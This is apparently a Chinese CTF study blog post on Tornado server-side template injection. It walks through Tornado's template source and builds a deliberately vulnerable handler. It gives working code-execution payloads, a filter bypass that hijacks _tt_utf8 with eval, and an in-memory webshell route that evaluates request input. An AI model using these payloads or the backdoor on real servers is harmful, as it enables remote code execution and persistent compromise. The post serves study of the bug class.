Tornado SSTI
什么时候才能结束SSTI啊⊙﹏⊙
Tornado SSTI
Tornado 是一个 Python Web 框架和异步网络库,最初由 FriendFeed 开发。通过使用非阻塞网络 I/O,Tornado 可以扩展到数万个开放连接,使其成为 长轮询、WebSocket 和其他需要与每个用户保持长期连接的应用程序的理想选择。
Tornado 可以粗略地分为三个主要部分
-
一个 Web 框架(包括 RequestHandler,它被子类化以创建 Web 应用程序,以及各种支持类)。
-
HTTP 的客户端和服务器端实现 (HTTPServer 和 AsyncHTTPClient)。
-
一个异步网络库,包括类 IOLoop 和 IOStream,它们作为 HTTP 组件的构建块,也可以用于实现其他协议。
Tornado Web 框架和 HTTP 服务器共同提供了一个完整的堆栈替代方案,替代了 WSGI。
在Tornado官网上可以查看我们关心的模板引擎部分:
render()和generate()
generate()
tornado.template — 灵活的输出生成 — Tornado 6.4.1 文档 - Tornado 服务器
安装官网的步骤,构建模板渲染可以有:
1
2
t = template.Template("<html>{{ myvalue }}</html>")
print(t.generate(myvalue="XXX"))
显然这个过程没有SSTI,因为模板内容可控。如果要产生不安全的模板渲染,可以有如下写法:
1
2
3
template_str = f"<h1>Hello, {name}!</h1>"
template = Template(template_str)
rendered = template.generate()
由于使用了f格式化字符串,这里的模板变成了不可控的,如果用户输入模板语法,网站就会自动解析。
render()
与上面显著不同地是tornado.web — RequestHandler.render — Tornado 6.4.1 文档 - Tornado 服务器
构造一个漏洞环境:
1
2
3
4
5
6
7
8
# /render:把用户输入写到 1.html,然后用 self.render 渲染
class RenderHandler(tornado.web.RequestHandler):
def get(self):
data = self.get_argument("ssti", "{{ 7 * 7 }}")
path = os.path.join(BASE_DIR, "1.html")
with open(path, "w", encoding="utf-8") as f:
f.write(data)
self.render("1.html")
区别
二者的显著区别在于全局环境不同。
generate()方法基于./tornado/template.py中的Template类:
1
2
3
4
5
6
class Template(object):
"""A compiled template.
We compile into Python from the given template_string. You can generate
the template from variables with generate().
"""
它直接继承于object,generate()源码实现如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def generate(self, **kwargs: Any) -> bytes:
"""Generate this template with the given arguments."""
namespace = {
"escape": escape.xhtml_escape,
"xhtml_escape": escape.xhtml_escape,
"url_escape": escape.url_escape,
"json_encode": escape.json_encode,
"squeeze": escape.squeeze,
"linkify": escape.linkify,
"datetime": datetime,
"_tt_utf8": escape.utf8, # for internal use
"_tt_string_types": (unicode_type, bytes),
# __name__ and __loader__ allow the traceback mechanism to find
# the generated source code.
"__name__": self.name.replace(".", "_"),
"__loader__": ObjectDict(get_source=lambda name: self.code),
}
namespace.update(self.namespace)
namespace.update(kwargs)
exec_in(self.compiled, namespace)
execute = typing.cast(Callable[[], bytes], namespace["_tt_execute"])
# Clear the traceback module's cache of source data now that
# we've generated a new template (mainly for this module's
# unittests, where different tests reuse the same name).
linecache.clearcache()
return execute()
我们可以清晰地看到这里的全局有哪些。
反观render(),这个方法来源于./tornado/web.py的RequestHandler类:
1
2
3
4
5
6
7
8
9
10
11
class RequestHandler(object):
"""Base class for HTTP request handlers.
Subclasses must define at least one of the methods defined in the
"Entry points" section below.
Applications should not construct `RequestHandler` objects
directly and subclasses should not override ``__init__`` (override
`~RequestHandler.initialize` instead).
"""
同样直接继承自object,这意味着两种类没有直接关联。render()函数基于render_string():
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def render(self, template_name: str, **kwargs: Any) -> "Future[None]":
"""Renders the template with the given arguments as the response.
``render()`` calls ``finish()``, so no other output methods can be called
after it.
Returns a `.Future` with the same semantics as the one returned by `finish`.
Awaiting this `.Future` is optional.
.. versionchanged:: 5.1
Now returns a `.Future` instead of ``None``.
"""
if self._finished:
raise RuntimeError("Cannot render() after finish()")
html = self.render_string(template_name, **kwargs)
......
而render_string()显式地调用了generate(),并自行定义了namespace传入其中:
1
2
3
4
5
6
7
8
9
10
11
12
13
def render_string(self, template_name: str, **kwargs: Any) -> bytes:
"""Generate the given template with the given arguments.
We return the generated byte string (in utf8). To generate and
write a template as a response, use render() above.
"""
# If no template_path is specified, use the path of the calling file
template_path = self.get_template_path()
......
t = loader.load(template_name)
namespace = self.get_template_namespace()
namespace.update(kwargs)
return t.generate(**namespace)
这里的namespace来自于RequestHandler直接定义的一个字典,由get_template_namespace()返回:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def get_template_namespace(self) -> Dict[str, Any]:
"""Returns a dictionary to be used as the default template namespace.
May be overridden by subclasses to add or modify values.
The results of this method will be combined with additional
defaults in the `tornado.template` module and keyword arguments
to `render` or `render_string`.
"""
namespace = dict(
handler=self,
request=self.request,
current_user=self.current_user,
locale=self.locale,
_=self.locale.translate,
pgettext=self.locale.pgettext,
static_url=self.static_url,
xsrf_form_html=self.xsrf_form_html,
reverse_url=self.reverse_url,
)
namespace.update(self.ui)
return namespace
因此,在SSTI层面上我们可以说,render()是generate()的超集。只要能在generate()下执行的payload,基本上都能在render()下执行。
generate过程中被引入的builtins
这一切都要源自于./tornado/template.py中的Template类的generate()方法中的一句话:
1
exec_in(self.compiled, namespace)
这个方法来自于./tornado/util.py:
1
2
3
4
5
6
7
8
def exec_in(
code: Any, glob: Dict[str, Any], loc: Optional[Optional[Mapping[str, Any]]] = None
) -> None:
if isinstance(code, str):
# exec(string) inherits the caller's future imports; compile
# the string first to prevent that.
code = compile(code, "<string>", "exec", dont_inherit=True)
exec(code, glob, loc)
我们发现在函数的末尾执行了Python自带的exec。
Python的特性在此刻发力:如果你用 exec(code, globals_dict),且 globals_dict 里面 没有 __builtins__ 这个 key,Python 会自动把内建模块放进去(类似于 globals_dict["__builtins__"] = builtins)。
来源在https://docs.python.org/3/library/functions.htm,里面有这样一句话:
If the globals dictionary does not contain a value for the key
__builtins__, a reference to the dictionary of the built-in module builtins is inserted under that key. That way you can control what builtins are available to the executed code by inserting your own__builtins__dictionary into globals before passing it to exec().
这几乎是明示我们,整个tornado的模板环境一旦暴露,就会暴露全局空间中的所有builtins函数,也就是说,没有加任何WAF的Tornado SSTI漏洞是可以直接通过:
1
2
__import__('os').popen('whoami').read()
eval("__import__('os').popen('whoami').read()")
执行操作。
基于generate的Payload构造
类似Flask地,/我们现从全局变量下手,虽然前面已经说过,我们可以直接调用builtins的函数,但是不妨碍我们继续研究。显而易见的是,只要含有SSTI漏洞的位置,必然可以产生由基本数据类型->类->object->subclass这一条链路,所以这里不再赘述。
现从generate()看起:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
namespace = {
"escape": escape.xhtml_escape,
"xhtml_escape": escape.xhtml_escape,
"url_escape": escape.url_escape,
"json_encode": escape.json_encode,
"squeeze": escape.squeeze,
"linkify": escape.linkify,
"datetime": datetime,
"_tt_utf8": escape.utf8, # for internal use
"_tt_string_types": (unicode_type, bytes),
# __name__ and __loader__ allow the traceback mechanism to find
# the generated source code.
"__name__": self.name.replace(".", "_"),
"__loader__": ObjectDict(get_source=lambda name: self.code),
}
注意到上面所述的全局变量基本都来自于escape,我们很自然地想要知道escape的构成。escape是一个模块,在./tornado/escape.py下,我们可以看到,上述的这几个变量全部都是函数对象,这说明我们可以像使用Jinja2中的lipsum一样去使用他们,但是令人沮丧的是:
1
2
3
4
5
6
7
8
9
import html
import json
import re
import urllib.parse
from tornado.util import unicode_type
import typing
from typing import Union, Any, Optional, Dict, List, Callable
escape这个模块并没有引入os模块,这意味着我们只能通过__builtins__去获取eval从而执行恶意代码,一个payload如下:
1
escape.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
此外datetime没有什么好利用的,它直接来源于python标准库。
之后,我们尝试着触发一个报错http://localhost:8888/render?ssti={{e}}。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Traceback (most recent call last):
File "E:\ProgramFile\Python\Python312\Lib\site-packages\tornado\web.py", line 1788, in _execute
result = method(*self.path_args, **self.path_kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "E:\ctfTools\CtfLab\PyTrojan\tornado_lab.py", line 16, in get
self.write(tmpl.generate())
^^^^^^^^^^^^^^^
File "E:\ProgramFile\Python\Python312\Lib\site-packages\tornado\template.py", line 362, in generate
return execute()
^^^^^^^^^
File "<string>.generated.py", line 5, in _tt_execute
_tt_tmp = e # <string>:1
^
NameError: name 'e' is not defined
我们发现,_tt_tmp就是我们传入需要被动态渲染的内容。我们持续追踪这个代码,在./tornado/template.py中可以看到在_Expression(_Node)中的generate()函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def generate(self, writer: "_CodeWriter") -> None:
# 1. 先把表达式求值
writer.write_line("_tt_tmp = %s" % self.expression, self.line)
# 2. 如果是字符串,就直接用 _tt_utf8 处理
writer.write_line(
"if isinstance(_tt_tmp, _tt_string_types):"
" _tt_tmp = _tt_utf8(_tt_tmp)",
self.line,
)
# 3. 否则先 str(...) 再丢给 _tt_utf8
writer.write_line("else: _tt_tmp = _tt_utf8(str(_tt_tmp))", self.line)
# 4. 如果开启了 autoescape,再额外套一层 autoescape 函数
if not self.raw and writer.current_template.autoescape is not None:
writer.write_line(
"_tt_tmp = _tt_utf8(%s(_tt_tmp))" % writer.current_template.autoescape,
self.line,
)
# 5. 最后把结果 append 到输出
writer.write_line("_tt_append(_tt_tmp)", self.line)
所有的模板引擎都会有“用代码写代码”这一步骤,我们会发现,这里出现了_tt_utf8,这是一个惊人的发现,因为任何输入的内容都会经过_tt_utf8,如果我们劫持_tt_utf8也许就能实现我们想要的操作。
劫持_tt_utf8
得益于Python的弱类型机制以及万物皆对象的特性,我们可以传递函数引用来给不同函数名赋值。就像上面说的,如果我们显式地:
1
{% set _tt_utf8 = eval %}
那么我们就可以控制所有的传入内容。
[NSSCTF 2nd]MyHurricane这道题目中就利用了这个知识点。题目的WAF有:
1
bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
这逼迫我们用非函数调用的方式去执行Payload。方法也很简单,劫持_tt_utf8:
1
2
3
4
{% set _tt_utf8 = eval %}
{% raw request.body_arguments[request.method][0] %}
POST=__import('os')__.popen('whoami').read()
第一行不再赘述,第二行raw在Tornado中代表输出表达式的结果,而且不做 autoescape(自动转义)。所以我们可以通过request来获取我们传入的内容,然后让内容被_tt_utf8转码(但此时_tt_utf8已经被eval夺舍了)。至于request.method,是一个小技巧,由于我们的方法是POST,所以request.method就是POST(字符串类型),所以这里相当于['POST'],为了绕过引号而做出的妥协。
接下来我们看render()导入的全局:
1
2
3
4
5
6
7
8
9
10
11
namespace = dict(
handler=self,
request=self.request,
current_user=self.current_user,
locale=self.locale,
_=self.locale.translate,
pgettext=self.locale.pgettext,
static_url=self.static_url,
xsrf_form_html=self.xsrf_form_html,
reverse_url=self.reverse_url,
)
没有什么好赘述的,参考前面的利用逻辑即可。这里的handler比较特殊,我们可以利用它访问很多内置属性,类似jinja2的config。这里不再深入研究。(等碰到了再说吧)
内存马
实际上来说,在没有任何waf的情况下,给tornado漏洞打入内存马有些杀鸡用牛刀,但不妨碍我们进行技术研究。
一种常见的内存马构建思路就是新建路由,我们查询一下:
1
2
3
4
5
6
def add_handlers(self, host_pattern: str, host_handlers: _RuleList) -> None:
"""Appends the given handlers to our handler list.
Host patterns are processed sequentially in the order they were
added. All matching patterns will be considered.
"""
所以我们知道,host_pattern的类型是str,意味着路由匹配;host_handlers的类型是_RuleList,即一个列表,这个列表前面需要一个str类型的路由,后面需要一个tornado.web.RequestHandler类型的Handler类。
我们构建一个恶意类来处理我们的操作:
1
2
3
4
5
class BackdoorHandler(tornado.web.RequestHandler):
def shell(self):
code = self.get_argument("cmd", "")
result = eval(code)
self.write(str(result))
那么在注册路由的时候就是:
1
2
handler.application.add_handlers(".*",(["/shell",BackdoorHandler])
)
为了缩短它,我们继续使用一些小技巧。在python中type(name, bases, dict) 是 Python 造类的底层接口,name是类名,bases是继承,dict是类的字典。于是我们可以构造
1
2
3
4
5
6
7
type("Shell",
(__import__("tornado").web.RequestHandler,),
{"shell":
lambda s:
s.write(str(eval(x.get_argument("cmd"))))
}
)
所以最终有内存马:
1
2
handler.application.add_handlers
(".*",[("/shell",type("Shell",(__import__("tornado").web.RequestHandler,),{"shell":lambda x: x.write(str(eval(x.get_argument("shell"))))}))])
但是在实践中,似乎遇到了一些问题,这点等待后面更新。
